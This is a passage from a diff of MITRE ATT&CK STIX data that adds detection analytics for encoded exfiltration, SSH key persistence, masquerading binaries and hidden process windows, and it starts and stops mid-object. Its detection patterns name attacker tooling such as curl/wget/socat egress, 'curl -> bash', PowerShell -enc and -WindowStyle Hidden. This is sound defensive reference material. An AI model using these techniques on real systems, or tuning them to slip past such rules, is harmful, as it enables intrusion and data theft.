"AN0345" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0345", + "description": "Process invokes a standard encoder (e.g., PowerShell -enc, certutil -encode, base64 via .NET/Invoke-Expression) or emits long Base64/hex literals \u2192 shortly followed by outbound network egress with high bytes_out:bytes_in ratio or HTTP headers/payloads containing Base64/MIME blocks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "M365Defender:DeviceNetworkEvents", + "channel": "NetworkConnection: bytes_sent >> bytes_received anomaly" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadEntropyThreshold", + "description": "Shannon entropy cutoff to consider payload suspicious (e.g., > 4.5\u20135.0 for HTTP body)." + }, + { + "field": "B64LengthThreshold", + "description": "Min continuous Base64 token length in command lines/script blocks to alert (e.g., > 100 chars)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between encoding event and egress (default 10m)." + }, + { + "field": "KnownAdminTools", + "description": "Legitimate tools (e.g., backup agents) that routinely encode/compress data." + }, + { + "field": "BytesOutToInRatio", + "description": "Minimum ratio to treat flow as asymmetric (e.g., \u2265 4:1)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--904100f0-1af9-4ded-89be-dfda7180bcbc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0124#AN0346", + "external_id": "AN0346" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0346", + "description": "Shell/utility (base64, xxd -p, od, openssl enc -base64, python/perl base64 libraries) encodes data \u2192 subsequent outbound connections (curl/wget/bash TCP, socat, python requests) with high asymmetry or Base64/MIME blobs in HTTP/DNS payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EncodingToolsAllowList", + "description": "Build/backup jobs that legitimately call base64/openssl." + }, + { + "field": "EntropyThreshold", + "description": "Shannon entropy for payloads (e.g., >4.5)." + }, + { + "field": "TimeWindow", + "description": "Join window between exec and egress (default 10m)." + }, + { + "field": "OutInRatio", + "description": "Bytes_out / bytes_in threshold (default 4)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5eefb166-8f2b-45e0-b5c8-bf71984dec08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0124#AN0347", + "external_id": "AN0347" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0347", + "description": "Processes use base64/xxd/openssl/python Objective\u2011C APIs to encode data (seen in EndpointSecurity exec events or Unified Logs) \u2192 quick outbound connections with large bytes_out or HTTP POSTs carrying Base64/MIME bodies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process command line contains base64, -enc, openssl enc -base64" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "PF:Logs", + "channel": "outbound flows with bytes_out >> bytes_in" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http: HTTP body contains long Base64 sections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDeveloperIDs", + "description": "Signed/allowed developer binaries routinely using encoding." + }, + { + "field": "EntropyThreshold", + "description": "Payload entropy cutoff." + }, + { + "field": "TimeWindow", + "description": "Exec \u2192 egress window." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1b53dd1b-c98e-4b25-a7fd-70dad586ebf1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0124#AN0348", + "external_id": "AN0348" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0348", + "description": "ESXi shell (BusyBox) or VMware utilities (openssl, python if present) used to Base64/hex encode data from datastore or config files \u2192 followed by abnormal egress from the host (NSX/flow logs) with asymmetric bytes_out or HTTPS posts to non-management endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "commands containing base64, openssl enc -base64, xxd -p" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "unexpected script/command invocations via hostd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSX:FlowLogs", + "channel": "network_flow: bytes_out >> bytes_in to external" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http: Base64/MIME looking payloads from ESXi host IP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MgmtCIDRs", + "description": "CIDRs for legitimate vCenter/NSX/backup endpoints." + }, + { + "field": "BytesRatio", + "description": "Out:In ratio deemed suspicious (e.g., \u22653 on ESXi)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between shell command and egress." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--67d1900f-9e02-4290-a14c-6d32be508d19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0125#AN0349", + "external_id": "AN0349" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0349", + "description": "Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of process launched via loginwindow session restore" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:filesystem", + "channel": "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "LoginWindow context with associated PID linked to reopened plist paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:endpointsecurity", + "channel": "es_event_file_rename_t or es_event_file_write_t" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Restrict to targeted users or unexpected users writing to plist" + }, + { + "field": "FilePathPattern", + "description": "Allow tuning for alternative persistence paths or directory redirection" + }, + { + "field": "TimeWindow", + "description": "Correlate plist write and process execution within logon window" + }, + { + "field": "BinaryAnomalyScore", + "description": "Optional scoring of launched binary based on code signing, entropy, and known safe apps" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72dd4fd9-b6cb-4704-b845-0632fe224995", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0126#AN0350", + "external_id": "AN0350" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0350", + "description": "Adversary attempts to gain persistence by modifying ~/.ssh/authorized_keys via shell, text editor, echo or redirected output.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write | PATH=/home/*/.ssh/authorized_keys" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Temporal window to correlate file writes and suspicious process launches (e.g., <60s)" + }, + { + "field": "UserContext", + "description": "Expected user-to-process correlation (e.g., root writing to non-root authorized_keys)" + }, + { + "field": "TargetPath", + "description": "Custom SSH path or user home variation (e.g., /etc/skel/.ssh/)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--29988e3f-2f65-4fe5-9bf7-dae0cb869fc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0126#AN0351", + "external_id": "AN0351" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0351", + "description": "Insertion of public keys into authorized_keys using bash/zsh or editor tools, correlated with suspicious process ancestry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process: exec + filewrite: ~/.ssh/authorized_keys" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:auth", + "channel": "~/.ssh/authorized_keys" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Track unusual parent process writing to SSH config (e.g., curl -> bash)" + }, + { + "field": "InteractiveSessionFlag", + "description": "Flag whether shell session was interactive (normal) or spawned remotely (potential abuse)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d613771b-087c-43c4-8430-2a0bf6ebb314", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0126#AN0352", + "external_id": "AN0352" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0352", + "description": "Abuse of cloud metadata APIs or CLI to push SSH public keys to authorized_keys of virtual machines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "gcp:audit", + "channel": "compute.instances.setMetadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MetadataFieldName", + "description": "Custom metadata field (e.g., ssh-keys or custom-key)" + }, + { + "field": "AccountType", + "description": "Was it an admin, service principal, or automation user initiating?" + }, + { + "field": "TargetRoleEscalation", + "description": "Privilege level of the VM account receiving the key" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e5b0d0ab-a464-4e9f-a1c0-dfb08a6ef53f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0126#AN0353", + "external_id": "AN0353" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0353", + "description": "Direct modification of /etc/ssh/keys-/authorized_keys or enabling SSH in sshd_config to support public key auth.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:shell", + "channel": "file write or edit" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSHConfigPath", + "description": "Could be modified SSH path in hypervisor" + }, + { + "field": "ESXiShellActivity", + "description": "Whether shell was enabled beforehand via DCUI or API" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4d8e89c0-fbde-43fc-adc4-d2f50bec3193", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0126#AN0354", + "external_id": "AN0354" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0354", + "description": "Use of command-line like `ip ssh pubkey-chain` to bind SSH keys to privileged accounts on routers or switches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "ip ssh pubkey-chain" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CLIUserRole", + "description": "Was the role allowed to push persistent config changes?" + }, + { + "field": "DeviceModel", + "description": "Variations in syntax or log behavior across device OS" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3d982ec-2729-4e98-b340-affa13096fd6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0355", + "external_id": "AN0355" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0355", + "description": "Adversary renames LOLBINs or deploys binaries with spoofed file names, internal PE metadata, or misleading icons to appear legitimate. File creation is followed by execution or service registration inconsistent with known usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=7045" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OriginalFilenameMismatch", + "description": "Compare executable file name with PE metadata OriginalFilename field" + }, + { + "field": "KnownSystemUtilityPaths", + "description": "Tune based on expected installation directories for signed binaries" + }, + { + "field": "TimeWindow", + "description": "Correlation window between file creation and service/process execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3191336e-8cdb-4d41-80a4-aa2ab869f7bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0356", + "external_id": "AN0356" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0356", + "description": "Adversary drops renamed binaries in uncommon directories (e.g., /tmp, /dev/shm) or uses special characters in names (e.g., trailing space, Unicode RLO). Execution or cronjob registration follows shortly after file drop.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "linux:syslog", + "channel": "rename" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DropLocationPattern", + "description": "Directories where new binaries are suspicious (e.g., /tmp)" + }, + { + "field": "FilenameAnomalies", + "description": "Regex for Unicode/RLO/space abuse in filenames" + }, + { + "field": "ExecutionDelayWindow", + "description": "Time range between file write and execution used for joining" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7ebea786-db9c-439d-9caf-d0dd740047f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0357", + "external_id": "AN0357" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0357", + "description": "Adversary creates disguised launch daemons or apps with misleading names and bundle metadata (e.g., Info.plist values inconsistent with binary path or icon). Launch is correlated with user logon or persistence setup.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "fs:fileevents", + "channel": "/var/log/install.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InfoPlistDiscrepancy", + "description": "Mismatch between bundle metadata and file system path/name" + }, + { + "field": "LaunchAgentPath", + "description": "Unusual LaunchDaemon/LaunchAgent paths can be tuned per org" + }, + { + "field": "ExecutionTrigger", + "description": "Window between install and first execution (e.g., at user login)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6927a2ad-c56f-4e87-9392-6e3eef07e57e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0358", + "external_id": "AN0358" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0358", + "description": "Adversary uses renamed container images, injects files into containers with misleading names or metadata (e.g., renamed system binaries), and executes them during startup or scheduled jobs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "containerd:runtime", + "channel": "/var/log/containers/*.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827", + "name": "docker:events", + "channel": "docker.events.json" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "ebpf:syscalls", + "channel": "file_write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImageLabelMismatch", + "description": "Tune detection based on mismatch between image name and labels" + }, + { + "field": "StartupScriptLocation", + "description": "Detect binaries added or modified in startup path (e.g., /entrypoint.sh)" + }, + { + "field": "ProcessNamePattern", + "description": "Allow tuning based on suspicious binary naming inside containers" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f3dfb562-94ef-44ea-be4f-17ac2d0771b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0359", + "external_id": "AN0359" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0359", + "description": "Adversary places scripts or binaries with misleading names in /etc/rc.local.d or /var/spool/cron, or registers services with legitimate-sounding names not present in default ESXi builds.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "esxi:hostd", + "channel": "registers services with legitimate-sounding names" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "scripts or binaries with misleading names" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceNameBaseline", + "description": "Tune based on default service names vs. suspicious new entries" + }, + { + "field": "ScriptFilePath", + "description": "Watch for new binaries/scripts in boot or cron folders" + }, + { + "field": "ExecutionContext", + "description": "Determine if execution happens at boot or scheduled interval" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b3bad14e-39a8-4e90-b3e3-46974fd9c2bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0128#AN0360", + "external_id": "AN0360" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0360", + "description": "Suspicious use of scripting parameters or registry edits to hide process windows (e.g., powershell.exe -WindowStyle Hidden, or registry modifications pushing window positions off screen). Defender view: correlation of hidden execution with anomalous process lineage or hVNC-like CreateDesktop API calls.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HiddenProcessScope", + "description": "Restrict to processes where hidden execution is unexpected (e.g., PowerShell, cmd, wscript)." + }, + { + "field": "ParentProcessCorrelation", + "description": "Correlate hidden execution with suspicious parent processes to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": 